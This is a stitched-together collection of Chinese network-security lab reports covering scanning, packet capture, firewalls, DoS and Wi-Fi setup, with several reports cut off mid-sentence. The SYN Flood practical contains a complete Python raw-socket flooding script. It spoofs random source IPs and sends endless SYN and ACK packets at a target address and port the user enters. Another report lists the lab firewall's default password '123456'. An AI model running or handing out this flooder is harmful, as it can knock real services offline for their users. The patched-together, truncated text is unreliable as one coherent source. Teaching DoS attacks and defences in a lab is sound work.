第二次网络安全实验
网络安全 实验报告
网络安全实验报告网络安全实验报告一、引言随着互联网的快速发展，网络安全问题日益凸显。
不法分子利用网络进行各种犯罪活动，给个人和组织的信息安全带来了巨大威胁。
为了更好地了解网络安全的重要性和相关实验，我们进行了一系列网络安全实验。
二、实验目的1. 了解网络安全的基本概念和原理；2. 掌握网络攻击与防御的基本方法；3. 提高对网络安全的意识和防范能力。
三、实验内容1. 网络漏洞扫描实验我们使用了一款常见的漏洞扫描工具，对一个虚拟网络进行了扫描。
通过扫描结果，我们发现了一些存在的漏洞，例如未更新的软件版本、弱密码等。
这些漏洞可能被黑客利用，进而入侵系统，窃取敏感信息。
因此，我们学会了及时更新软件、加强密码安全等防范措施。
2. DDoS攻击与防御实验在这个实验中，我们模拟了一个DDoS（分布式拒绝服务）攻击，并尝试使用防火墙等工具来防御。
通过实验，我们深刻认识到DDoS攻击的威力和对网络的影响。
在防御方面，我们学到了一些有效的方法，如流量过滤、IP封堵等。
3. 网络入侵检测实验为了提高网络安全，我们进行了网络入侵检测实验。
通过安装入侵检测系统，我们能够及时发现并阻止潜在的入侵行为。
在实验中，我们模拟了一些常见的入侵行为，如端口扫描、密码破解等，以测试入侵检测系统的准确性和可靠性。
四、实验结果与分析通过以上实验，我们对网络安全有了更深入的了解。
我们认识到网络安全不仅仅是技术问题，更是一个全面的系统工程。
在实验中，我们掌握了一些基本的网络安全知识和技能，提高了自己的网络安全意识和防范能力。
然而，网络安全仍然是一个不断发展和变化的领域。
随着技术的进步，新的网络威胁和攻击手段不断涌现。
因此，我们需要不断学习和更新自己的知识，以应对不断变化的网络安全挑战。
五、结论通过本次网络安全实验，我们深入了解了网络安全的重要性和相关知识。
我们学会了一些基本的网络安全防范方法，并提高了自己的网络安全意识。
网络安全是一个全面的系统工程，需要持续的学习和更新知识。
网络安全实验总结5篇
网络安全实验总结5篇篇1一、引言随着信息技术的迅猛发展，网络安全问题日益受到重视。
为了提升自身对网络安全的理解和掌握，我们进行了一系列网络安全实验。
本文将对这些实验进行全面总结，旨在分析实验过程、总结实验成果，并提炼出对未来工作的启示。
二、实验过程1. 实验准备在实验开始前，我们进行了充分的准备工作。
首先，我们设计了一套全面的实验方案，明确了实验的目标、内容和方法。
其次，我们搭建了实验环境，包括配置了相应的网络设备、安装了必要的软件工具等。
最后，我们对参与实验的人员进行了培训，确保他们能够熟练掌握实验所需的技能和知识。
2. 实验实施在实验过程中，我们严格按照实验方案进行操作。
首先，我们对网络系统进行了全面的漏洞扫描，以发现潜在的安全隐患。
其次，我们针对发现的漏洞进行了详细的分析和评估，确定了漏洞的严重程度和可能带来的影响。
然后，我们根据漏洞分析的结果，制定了相应的修复方案，并对网络系统进行了及时的修复和加固。
此外，我们还进行了网络攻击模拟实验。
通过模拟常见的网络攻击场景，如暴力破解、SQL注入等，我们验证了网络系统的安全防护能力。
在模拟攻击过程中，我们发现了一些安全防护的不足之处，并及时进行了改进和优化。
三、实验成果通过本次网络安全实验，我们取得了以下成果：1. 提升了网络安全防护能力。
通过对网络系统的全面漏洞扫描和修复加固，我们显著提高了网络系统的安全性。
同时，通过模拟攻击实验，我们也发现了安全防护的不足之处，并进行了相应的改进和优化。
2. 增强了团队成员的网络安全意识。
通过实验前的培训和实验过程中的讨论与交流，团队成员对网络安全的重要性有了更深刻的认识，并掌握了一定的网络安全技能和知识。
3. 为未来的网络安全工作提供了有益的参考。
本次实验不仅提升了我们的网络安全防护能力还为我们提供了宝贵的实践经验为未来的网络安全工作奠定了坚实的基础。
四、启示与建议通过本次网络安全实验我们得到了以下启示和建议：1. 网络安全需要持续关注和重视。
国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御
信息安全与管理专业实训报告学生姓名：一、实训名称：拒绝服务攻击-TCP SYN Flood攻击与防御。
二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境：ubuntu/kali +python 2.7.11使用方法如下：mode有三种模式syn攻击、ack攻击、混合攻击，虽说是支持多线程但是多个线程反而不如单线程快，估计是我的多线程弄得有些问题，麻烦这方面比较懂的朋友帮我指点一下。
我电脑是i7-6700单线程也只能这点速度。
cpu1已经使用89%了看一下抓包情况吧，因为只是测试用我也没带tcp的options字段，报文长度也不够64字节，不过也能传到目的地址。
下面是代码：#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads："))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境：ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法：支持两个参数目的ip和目的端口性能：限制发包速度的是带宽（我这是100M的网，除去报文的前导码和帧间隔极限速度差不多就是9m左右了），cpu利用才27%，我在1000Mbps的网速下测试，单线程的话速度能到40m左右，cpu占用率大约85%左右。
电子科大网络安全实验2Wireshark抓包分析实验完整分析
电⼦科⼤⽹络安全实验2Wireshark抓包分析实验完整分析实验2 Wireshark抓包分析实验⼀、实验原理TCP三次握⼿准则介绍TCP是因特⽹中的传输层协议，使⽤三次握⼿协议建⽴连接。
当主动⽅发出SYN连接请求后，等待对⽅回答SYN，ACK。
这种建⽴连接的⽅法可以防⽌产⽣错误的连接，TCP使⽤的流量控制协议是可变⼤⼩的滑动窗⼝协议。
第⼀次握⼿：建⽴连接时，客户端发送SYN包(SEQ=x)到服务器，并进⼊SYN_SEND状态，等待服务器确认。
第⼆次握⼿：服务器收到SYN包，必须确认客户的SYN(ACK=x+1),同时⾃⼰也送⼀个SYN包(SEQ=y),即SYN+ACK包，此时服务器进⼊SYN_RECV状态。
第三次握⼿：客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ACK=y+1),此包发送完毕，客户端和服务器进⼊Established状态，完成三次握⼿。
HTTP协议介绍HTTP协议⽤于在Internet上发送和接收消息。
HTTP协议是⼀种请求-应答式的协议 ——客户端发送⼀个请求，服务器返回该请求的应答，所有的请求与应答都是HTTP包。
HTTP协议使⽤可靠的TCP 连接，默认端⼝是80。
HTTP的第⼀个版本是HTTP/0.9，后来发展到了HTTP/1.0，现在最新的版本是HTTP/1.1。
HTTP/1.1由RFC 2616 定义。
⼆、实验⽬的1、了解并会初步使⽤Wireshark，能在所⽤电脑上进⾏抓包。
2、了解IP数据包格式，能应⽤该软件分析数据包格式。
3、了解HTTP请求中的三次握⼿准则，并能利⽤该软件对该过程进⾏简要分析。
三、实验内容（1）安装wireshark软件，并使⽤该软件捕获HTTP请求中的报⽂，分析该过程中TCP建⽴连接的握⼿过程以及报头各字段的含义，记录实验结果和数据。
（2）尝试利⽤wireshark软件捕获Ping请求中的报⽂，并分析报⽂中各字段的含义，记录实验结果和数据。
网络安全实验报告
网络安全实验报告网络安全实验报告实验目的：了解网络安全基本知识，学习并了解网络安全的防御措施。
实验内容：实验一：网络嗅探器的使用实验二：网络漏洞扫描和修复实验三：网络防火墙的配置实验结果：实验一：通过使用网络嗅探器，我了解了如何监视网络流量和分析网络数据包。
我了解了网络嗅探的原理和方法，并学会了使用Wireshark软件来进行嗅探工作。
在实验中，我成功地监视了本地局域网中的数据包，并分析了这些数据包的内容。
这个实验让我认识到了网络数据的重要性，并增强了我对网络安全的关注。
实验二：在这个实验中，我们使用了漏洞扫描器来扫描一个虚拟机上的系统，发现并修复了其中的一些漏洞。
通过这个实验，我了解了网络漏洞的存在及其危害，并学会了如何通过漏洞扫描来检测和修复这些漏洞。
这个实验提醒我，对于网络系统的安全性，我们需要时刻保持警惕，并及时做好漏洞修复工作。
实验三：在这个实验中，我们配置了一个网络防火墙，了解了它的基本原理和功能，并学会了如何正确地配置和管理网络防火墙。
通过这个实验，我深入理解了防火墙对于网络安全的重要性，它能够起到限制网络访问、防御网络攻击的作用。
这个实验让我明白了防火墙的作用，同时也增加了我的网络安全意识。
总结和感想：通过本次实验，我深入了解了网络安全的基本知识，并学会了一些网络安全的实际操作技巧。
在网络安全这个方面，我们不能掉以轻心，只有不断学习和实践，才能保护好自己和他人的网络安全。
同时，当我们使用网络的时候，也要时刻谨记网络安全的重要性，不随便下载或点击不明链接，保护好个人信息。
通过这次实验，我对网络安全有了更深入的理解，也更加确定了自己今后的学习方向。
网络安全小实验
网络安全小实验网络安全小实验一、实验目的：了解网络安全的相关知识，学会防范网络攻击。
二、实验材料：计算机、网络设备。
三、实验步骤：1. 实验准备：将计算机连接到Internet上，并确保网络连接正常。
2. 获取网络信息：打开浏览器，输入"what is my IP"进行查询，记录下计算机的公网IP地址和其他相关信息。
3. 扫描端口：使用网络扫描工具（如nmap）扫描自己计算机的端口开放情况。
观察扫描结果，了解自己计算机的漏洞和风险。
4. 配置防火墙：根据自己计算机的端口开放情况，合理配置防火墙规则，关闭不必要的端口，并允许必要的端口开放。
测试防火墙配置是否生效。
5. 模拟攻击：使用网络攻击工具（如Metasploit）模拟对自己计算机的攻击，观察防火墙是否成功阻止攻击，记录下攻击的细节和结果。
6. 强化安全：根据攻击结果和防火墙日志，进一步加强自己计算机的安全设置，如更新系统补丁、修改默认密码、安装防病毒软件等。
再次进行端口扫描和攻击模拟，观察安全加强是否有效。
四、实验结果与讨论：通过以上实验步骤，我们可以了解自己计算机的安全风险和防护的效果。
可以发现，理想情况下，防火墙可以有效阻止大部分攻击，保护计算机的安全。
然而，防火墙并非万能，对于一些高级攻击可能仍然无法防护。
因此，我们需要在防火墙设置的基础上，加强其他安全措施，如及时更新系统补丁、使用强密码、安装防病毒软件等，以提高自己计算机的安全性。
通过模拟攻击，我们可以更好地理解黑客的攻击方式和手段。
这有助于我们更好地预测和防御攻击，同时也提醒我们在使用计算机和互联网时要保持警惕，不应随意点击可疑链接，不轻易下载未知来源的软件等。
五、安全注意事项：1. 在进行网络扫描和模拟攻击时，应提前取得相关授权，并遵循法律和道德规范。
2. 在配置防火墙时，应仔细考虑开放和关闭的端口，避免因误操作导致网络不可访问。
3. 在进行攻击模拟和加强安全设置时，应根据实际情况进行操作，不应过度依赖工具和自动化。
网络安全实验报告[共五篇]
![网络安全实验报告[共五篇]](https://img.taocdn.com/s3/m/1aa839ecd05abe23482fb4daa58da0116c171f0c.png)
网络安全实验报告[共五篇]第一篇：网络安全实验报告实验一：网络扫描实验【实验目的】了解扫描的基本原理，掌握基本方法，最终巩固主机安全【实验内容】1、学习使用Nmap的使用方法2、学习使用漏洞扫描工具【实验环境】1、硬件 PC机一台。
2、系统配置：操作系统windows XP以上。
【实验步骤】1、端口扫描1）解压并安装ipscan15.zip，扫描本局域网内的主机2）解压nmap-4.00-win32.zip，安装WinPcap运行cmd.exe，熟悉nmap命令(详见“Nmap详解.mht”)。
3）试图做以下扫描：扫描局域网内存活主机，扫描某一台主机或某一个网段的开放端口扫描目标主机的操作系统试图使用Nmap的其他扫描方式，伪源地址、隐蔽扫描等2、漏洞扫描解压X-Scan-v3.3-cn.rar，运行程序xscan_gui.exe，将所有模块选择扫描，扫描本机，或局域网内某一台主机的漏洞【实验背景知识】1、扫描及漏洞扫描原理见第四章黑客攻击技术.ppt2、NMAP使用方法扫描器是帮助你了解自己系统的绝佳助手。
象Windows 2K/XP 这样复杂的操作系统支持应用软件打开数百个端口与其他客户程序或服务器通信，端口扫描是检测服务器上运行了哪些服务和应用、向Internet或其他网络开放了哪些联系通道的一种办法，不仅速度快，而且效果也很不错。
Nmap被开发用于允许系统管理员察看一个大的网络系统有哪些主机以及其上运行何种服务。
它支持多种协议的扫描如UDP，TCP connect(),TCP SYN(half open), ftp proxy(bounce attack),Reverse-ident, ICMP(ping sweep), FIN, ACK sweep,Xmas Tree, SYN sweep，1 和Null扫描。
可以从SCAN TYPES一节中察看相关细节。
Nmap还提供一些实用功能如通过tcp/ip来甄别操作系统类型、秘密扫描、动态延迟和重发、平行扫描、通过并行的PING侦测下属的主机、欺骗扫描、端口过滤探测、直接的RPC扫描、分布扫描、灵活的目标选择以及端口的描述。
网络安全 实验报告
网络安全实验报告
实验目的：
掌握网络安全的基本概念和原理，了解网络攻击的类型和防范措施。
实验内容：
1. 确保网络设备和系统的安全性：包括安装最新的防病毒软件、设置强密码、使用防火墙等。
2. 加密网络通信：使用VPN等加密技术来保护网络传输的数
据安全。
3. 监测和检测网络入侵活动：使用入侵检测系统（IDS）和入
侵防御系统（IPS）来发现并应对网络入侵行为。
4. 定期进行网络安全演练：模拟网络攻击，检验网络安全防护措施的有效性，并及时修补漏洞。
实验结果：
通过本次实验，我深入了解了网络安全的重要性，学习了一些基本的网络安全原理和技术。
在实施相应的安全措施后，我成功地保护了网络设备和系统，避免了潜在的网络攻击风险。
同时，我还学会了使用入侵检测系统和入侵防御系统来监测和检测网络入侵活动，有效地增强了网络的安全性。
另外，通过网络安全演练，我发现了一些潜在的漏洞，并及时进行了修补，从而更好地保护了网络安全。
实验总结：
网络安全是我们日常生活和工作中必须面对的重要问题。
只有加强网络安全意识，掌握相应的网络安全知识和技术，才能更
好地防范网络攻击，并保障个人和组织的网络安全。
我们应该时刻保持警惕，定期更新和升级网络设备和系统，加密网络通信，使用有效的入侵检测和防御系统，并定期进行网络安全演练，以确保网络的安全性。
实验2 网络扫描及安全评估实验
HUNAN UNIVERSITY《信息安全原理》实验报告实验二网络扫描及安全评估实验一、实验目的掌握网络端口扫描器的使用方法，熟悉常见端口和其对应的服务程序，掌握发现系统漏洞的方法。
●掌握综合扫描及安全评估工具的使用方法，了解进行简单系统漏洞入侵的方法，了解常见的网络和系统漏洞以及其安全防护方法。
二、实验原理●端口扫描原理●端口扫描向目标主机的TCP/IP服务端口发送探测数据包，并记录目标主机的响应。
通过分析响应来判断服务端口是打开还是关闭，就可以得知端口提供的服务或信息。
●端口扫描主要有经典的扫描器（全连接）、SYN（半连接）扫描器、秘密扫描等。
●全连接扫描：扫描主机通过TCP/IP协议的三次握手与目标主机的指定端口建立一次完整的连接。
建立连接成功则响应扫描主机的SYN/ACK连接请求，这一响应表明目标端口处于监听（打开）的状态。
如果目标端口处于关闭状态，则目标主机会向扫描主机发送RST的响应。
●半连接（SYN）扫描：若端口扫描没有完成一个完整的TCP连接，在扫描主机和目标主机的一指定端口建立连接时候只完成了前两次握手，在第三步时，扫描主机中断了本次连接，使连接没有完全建立起来，这样的端口扫描称为半连接扫描，也称为间接扫描。
●TCP FIN（秘密）扫描：扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。
另一方面，打开的端口会忽略对FIN数据包的回复。
●综合扫描和安全评估技术工作原理●获得主机系统在网络服务、版本信息、Web应用等相关信息，然后采用模拟攻击的方法，对目标主机系统进行攻击性的安全漏洞扫描，如果模拟攻击成功，则视为漏洞存在。
最后根据检测结果向系统管理员提供周密可靠的安全性分析报告。
三、实验环境●实验室所有机器安装了Windows操作系统，并组成了一个局域网，并且都安装了SuperScan端口扫描工具和流光Fluxay5综合扫描工具。
●每两个学生为一组：互相进行端口扫描和综合扫描实验。
第二次网络安全实验
企业典型网络安全架构部署实验【实验内容】学习配置防火墙的典型连接模式配置防火墙的IP地址及vpn网络功能企业典型网络安全架构部署实验【实验原理】SmoothWall 是免费开放源代码网络防火墙。
SmoothWall同时支持ISDN,ASDL/Cable 和多网卡等网络设备，基于web界面的SmoothWall防火墙软件有着非常丰富的选项。
您可以将它配置成一个代理服务器，或者DHCP服务器，或者为绿色区域服务的某些特别端口的包转发服务器等等。
作为一个代理服务器，你可以设置一些高级选项，比如用户端认证和延迟池等等。
这些功能对小公司或者家庭用户来说还是很有用的，但是对于大型企业来说，它们都是有自己特定的代理服务器。
您可以为你的DHCP服务器配置地址范围、WINS服务器和静态IP地址。
你也可以选择动态DNS，提供远程连接服务的SSH程序和时间服务器。
SmoothWall通过第三方插件，可以扩展入侵检测、防病毒等其它功能，目前在开源社区以及开发了几十个插件，通过这些插件使得SmoothWall防火墙甚至达到了UTM的功能。
说明：典型网络分为Green、Red及Orange三个区域，其中Green区域为内网，Red区域为外网，Orange区域为DMZ区。
实验中，学生根据实际网络情况，自行配置网卡地址用以完成实验。
系统管理员root 密码为：123456Web管理员admin 密码为：123456默认Web管理页面的访问端口为81端口更多详细信息及开发，可以参考网站：/企业典型网络安全架构部署实验【实验环境】一、典型实验环境典型实验环境如图5.2.1-1所示，注意主机只能拥有内网地址。
GREEN 区域192.168.2.0/24RED 区域192.168.1.0/24图5.2.1-1二、 VPN 网络环境VPN 网络实验环境如图5.2.1-2所示，注意主机只能拥有内网地址。
图5.2.1-2【实验步骤】一、 安装VMware Player从工具箱中下载企业典型网络安全架构部署实验-VMPlayerNetCfg.rar 、企业典型网络安全架构部署实验-VMware-player-3_1_4-385536.rar 、企业典型网络安全架构部署实验-Smoothwall3.rar 到本地主机。
网络信息安全实验报告 (2)
网络信息安全实验报告 (2)网络信息安全实验报告 (2)1. 研究背景网络信息安全是当今社会的重要议题之一。
随着互联网的普及和应用，网络攻击的威胁也日益增加。
为了保护个人隐私和重要机密信息的安全，网络信息安全技术得到了广泛的关注和研究。
本实验旨在通过模拟网络攻击和防御的场景，探索网络信息安全的实际应用和解决方案。
2. 实验目的本实验旨在通过实际操作和模拟攻击的方式，深入了解网络信息安全的基本原理和实践技术，并掌握常见的网络攻击和防御手段。
3. 实验内容3.1 实验环境搭建在实验开始之前，我们需要搭建一个适合实验的网络环境。
这个环境应该包括一个实验主机和一台攻击主机。
实验主机用于模拟正常的网络通信，而攻击主机用于模拟网络攻击。
3.2 模拟网络攻击在实验环境搭建完成之后，我们将进行一系列网络攻击的模拟实验。
这些攻击包括但不限于：DDoS攻击、SQL注入攻击、网络钓鱼攻击等。
通过模拟这些攻击，我们可以深入理解攻击的原理和技术，并学习如何应对和防御这些攻击。
3.3 实验报告撰写在实验进行过程中，我们需要记录实验过程和实验结果。
在实验结束后，我们将根据实验记录撰写实验报告。
这个报告需要包括实验目的、实验内容、实验结果和分析等内容。
4. 实验结果与分析在实验过程中，我们成功模拟了各种网络攻击，并记录了实验数据和分析结果。
通过对实验数据的分析，我们发现某些网络攻击可能会导致严重的安全风险，而其他一些攻击则可以通过一定的防御手段来减轻风险。
5. 实验通过本次实验，我们加深了对网络信息安全的理解，学习了网络攻击和防御的基本原理和技术。
我们也认识到网络安全问题的重要性，以及制定有效安全策略的必要性。
6. 参考文献[1] John D. Network Security: Private Communication ina Public World. Pearson Education, 2007.[2] Stallings W. Cryptography and Network Security: Principles and Practice. Pearson Education, 2010.。
网络信息安全实验报告 (2)
网络信息安全实验报告 (2)网络信息安全实验报告 (2)1.研究目的和背景1.1 研究目的本实验旨在通过实际操作探究网络信息安全的相关概念、技术和方法，并分析实验过程中可能出现的安全风险和对策，加深对网络信息安全的理解和实践能力。
1.2 研究背景随着互联网的快速发展和普及，网络信息安全问题日益凸显。
恶意软件、网络钓鱼、黑客攻击等安全威胁层出不穷，对个人、企业和国家信息安全产生了严重影响。
因此，加强网络信息安全的研究和实践具有重要意义。
2.实验设计和步骤2.1 实验设计本实验通过模拟网络环境，结合实际案例和技术手段，进行网络信息安全实验。
主要包括以下几个方面：________●防火墙配置与管理●攻击检测与防范●密码安全与管理●网络监控与日志分析2.2 实验步骤a. 防火墙配置与管理1.建立网络拓扑，并配置防火墙设备。
2.设定防火墙策略，包括允许和禁止的网络流量。
3.验证防火墙的有效性，并进行必要的调整和优化。
b. 攻击检测与防范1.使用网络安全设备或软件，对网络进行漏洞扫描。
2.模拟常见的攻击行为，如 DoS 攻击、SQL 注入。
3.分析攻击行为，提供相应的防范措施。
c. 密码安全与管理1.设计一个强密码策略，并应用于网络设备和应用系统。
2.检查密码安全性，如密码长度、复杂度等。
3.介绍密码管理工具，如密码管理器和双因素认证。
d. 网络监控与日志分析1.安装和配置网络监控工具，实时监测网络流量和行为。
2.收集和分析网络日志，发现异常活动和可能的安全威胁。
3.根据分析结果制定相应的安全措施和应对方案。
3.实验结果与讨论3.1 实验结果通过实验，我们得到了以下结果：________●防火墙配置与管理能有效地限制非法访问和恶意流量。
●攻击检测与防范技术能够提前发现并阻止潜在的安全威胁。
●使用强密码策略和密码管理工具可以提高密码安全性。
●网络监控和日志分析能够及时发现和处理安全事件。
3.2 结果讨论根据实验结果，我们可以进一步讨论以下问题：________●防火墙的配置是否合理，并针对具体环境进行调整？●攻击检测与防范技术存在哪些局限性和可改进之处？●密码安全策略是否满足实际需求，如何进行改进？●如何通过网络监控和日志分析提高网络安全的效果和响应能力？4.安全风险和对策分析4.1 安全风险在实验过程中，可能存在以下安全风险：________●网络流量过大，导致防火墙无法正常工作。
网络安全实验报告
一、实验目的通过本次网络安全实验，使学生了解网络安全的基本概念和原理，掌握常见的网络安全技术，提高学生的网络安全意识和实际操作能力。
二、实验内容1. 拒绝服务攻击检测实验2. 路由器配置实验3. APP欺骗攻击与防御实验4. 源IP地址欺骗攻击防御实验5. DHCP欺骗攻击与防御实验6. 密码实验7. MD5编程实验8. 数字签名综合实验9. RIP路由项欺骗攻击实验10. 流量管制实验11. 网络地址转换实验12. 防火墙实验13. 入侵检测实验14. WEP配置实验15. 点对点IP隧道实验三、实验过程1. 拒绝服务攻击检测实验实验步骤：（1）搭建实验环境，配置实验参数；（2）模拟拒绝服务攻击，观察系统响应；（3）分析日志文件，查找攻击痕迹；（4）总结实验结果，撰写实验报告。
实验结果：通过实验，掌握了拒绝服务攻击的原理，学会了检测和防御拒绝服务攻击的方法。
2. 路由器配置实验实验步骤：（1）搭建实验环境，配置实验参数；（2）学习路由器配置的基本指令；（3）正确配置路由器，实现网络互连互通；（4）验证网络连通性，检查配置效果；（5）总结实验结果，撰写实验报告。
实验结果：通过实验，掌握了路由器配置的基本方法，实现了网络的互连互通。
3. APP欺骗攻击与防御实验实验步骤：（1）搭建实验环境，配置实验参数；（2）模拟APP欺骗攻击，观察系统响应；（3）分析日志文件，查找攻击痕迹；（4）总结实验结果，撰写实验报告。
实验结果：通过实验，了解了APP欺骗攻击的原理，学会了防御APP欺骗攻击的方法。
4. 源IP地址欺骗攻击防御实验实验步骤：（1）搭建实验环境，配置实验参数；（2）模拟源IP地址欺骗攻击，观察系统响应；（3）分析日志文件，查找攻击痕迹；（4）总结实验结果，撰写实验报告。
实验结果：通过实验，掌握了源IP地址欺骗攻击的原理，学会了防御源IP地址欺骗攻击的方法。
5. DHCP欺骗攻击与防御实验实验步骤：（1）搭建实验环境，配置实验参数；（2）模拟DHCP欺骗攻击，观察系统响应；（3）分析日志文件，查找攻击痕迹；（4）总结实验结果，撰写实验报告。
实验二 安全Ad hoc无线网络组建
实验二安全Ad Hoc无线网络组建学号：姓名：王磊【实验题目】安全Ad Hoc无线网络组建【实验类别】设计性【实验目的】（1）掌握小型Ad Hoc无线网络的构建及其安全设置；（2）了解无线网络的安全机制，理解以WEP算法为基础的身份验证服务和加密服务。
【实验原理】无线对等网，即Ad Hoc，也称为无线自组织网，是指不需要固定设备支持，各节点即用户终端自行组网，通信时，由其他用户节点进行数据的转发。
通过在windows系统下给台式PC安装无线网络接口卡，可以实现台式PC的无线数据传输，从而实现无AP的PC无线对等网的组建。
【实验环境描述】四台安装有Windows XP操作系统的计算机，已安装有无线网卡。
【实验步骤】（1）SSID和WEP设置1）在安装了无线网卡的计算机上，从“控制面板”中打开“网络连接”窗口，如图2-6所示。
2）右击“无线网络连接”图标，在弹出的快捷菜单中选择“属性”命令，打开“无线网络连接属性”复选框，如图2-7所示。
3）单击“首选网络”选项组中的“添加”按钮，显示“无线网络属性”对话框，如图2-8所示。
该对话框用来设置网络。
①在“网络名（SSID）”文本框中输入一个名称，如“hotspot”、“cy”等，无线网络中的每台计算机都需要使用该网络名进行连接②在“网络身份验证”下拉列表中可以选择网络验证的方式，建议选择“开放式”。
③在“数据加密”下拉列表中可以选择是否启用加密，建议选择“WEP”加密方式。
(在“自动为我提供此密钥”处，可选或不选-若不选，则可以自主设置密钥)。
图2-6 “网络连接窗口”（截图仅供参考）图2-7 “无线网络连接属性”对话框4）单击“确定”按钮，返回“无线网络配置”选项卡，所添加的网络显示在“首选网络”选项组中。
5）单击“高级”按钮，打开“高级”对话框，如图2-9所示。
选中“仅计算机到计算机(特定)”单选按钮。
图2-8 “无线网络属性”对话框图2-9 “高级”对话框6）单击“关闭”按钮返回，再“确定”按钮关闭。
网络安全 实验报告
网络安全实验报告一、实验目的随着信息技术的飞速发展，网络安全问题日益凸显。
本次实验的目的在于深入了解网络安全的基本概念和常见威胁，掌握一定的网络安全防护技术和工具，提高对网络安全风险的识别和应对能力。
二、实验环境本次实验在一个模拟的网络环境中进行，包括若干台计算机、服务器、网络设备以及相关的安全软件和工具。
操作系统主要为 Windows 和 Linux ，网络拓扑结构采用星型和总线型相结合的方式。
三、实验内容及步骤（一）网络扫描与漏洞检测1、使用 Nmap 工具对网络中的主机进行端口扫描，了解开放的端口和服务。
2、运用 Nessus 漏洞扫描器对目标系统进行全面的漏洞检测，生成详细的漏洞报告。
（二）恶意软件分析1、下载并安装恶意软件样本，使用 VirusTotal 等在线工具进行初步分析。
2、利用沙箱环境（如 Cuckoo Sandbox ）对恶意软件的行为进行动态监测，观察其对系统资源的占用、网络连接等情况。
（三）防火墙配置与测试1、在服务器上安装并配置防火墙软件（如 iptables ），设置访问控制规则，限制特定端口和 IP 地址的访问。
2、进行内外网的访问测试，验证防火墙规则的有效性。
（四）加密与解密技术1、学习对称加密算法（如 AES ）和非对称加密算法（如 RSA ）的原理。
2、使用相关工具对文本数据进行加密和解密操作，体会加密技术的作用。
（五）网络攻击与防御模拟1、模拟常见的网络攻击手段，如 DDoS 攻击、SQL 注入攻击等。
2、采取相应的防御措施，如流量清洗、输入验证等，观察防御效果。
四、实验结果与分析（一）网络扫描与漏洞检测通过 Nmap 扫描，发现部分主机开放了不必要的端口，如 21（FTP ）、23（Telnet ）等，存在一定的安全风险。
Nessus 漏洞扫描报告显示，部分系统存在操作系统补丁未更新、软件版本过低等漏洞，需要及时进行修复。
（二）恶意软件分析VirusTotal 分析结果显示，恶意软件样本被多个杀毒引擎识别为恶意，沙箱环境监测到其尝试修改系统关键文件、建立非法网络连接等恶意行为。
网络安全技术实验报告实验2Web服务器及安全设置
XX大学本科实验报告课程名称：网络安全技术1421351 学号：XXX姓名：网络工程专业：班级：网络B14-1 指导教师：课内实验目录及成绩信息技术学院2016年9 月29 日XX大学实验报告课程名称：计算机信息安全实验类型：演示、验证实验项目名称：实验一构建虚拟局域网实验地点：信息楼320 实验日期：2016 年9月22 日无线网络安全设置操作很常用，对于掌握相关的知识的理解和应用也很有帮助。
1. 实验目的在上述无线网络安全基本技术及应用的基础上，还要掌握小型无线网络的构建及其安全设置方法，进一步了解无线网络的安全机制，理解以WEP算法为基础的身份验证服务和加密服务。
2. 实验要求1）实验设备本实验需要使用至少两台安装有无线网卡和Windows操作系统的连网计算机。
2）注意事项(1) 预习准备。
由于本实验内容是对Windows 操作系统进行无线网络安全配置，需要提前熟悉Windows 操作系统的相关操作。
